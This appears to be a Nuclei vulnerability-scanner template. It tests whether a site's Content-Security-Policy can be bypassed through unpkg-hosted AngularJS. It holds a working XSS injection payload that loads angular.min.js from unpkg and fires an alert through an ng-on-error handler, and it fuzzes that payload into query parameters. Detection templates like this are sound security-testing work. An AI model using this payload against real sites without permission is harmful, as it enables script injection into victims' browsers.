id: unpkg-angular-csp-bypass

info:
  name: Content-Security-Policy Bypass - Unpkg Angular
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,unpkg-angular,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "unpkg.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: unpkg_angular_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://unpkg.com/angular@1.8.3/angular.min.js"></script><div ng-app><img src=x ng-on-error="window=$event.target.ownerDocument.defaultView;window.alert(window.origin);">'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "unpkg_angular_csp_xss == true"
# digest: 4a0a0047304502203bdb3eb9aaa82ea30a2eadea158f456d3fa434f65bae7937dec9e48927e2cd6a022100df0c87331a66c8cd4bc5ee8444f4db356504c52002d97959cc480ff824dabda3:922c64590222798bb761d5b6d8e72950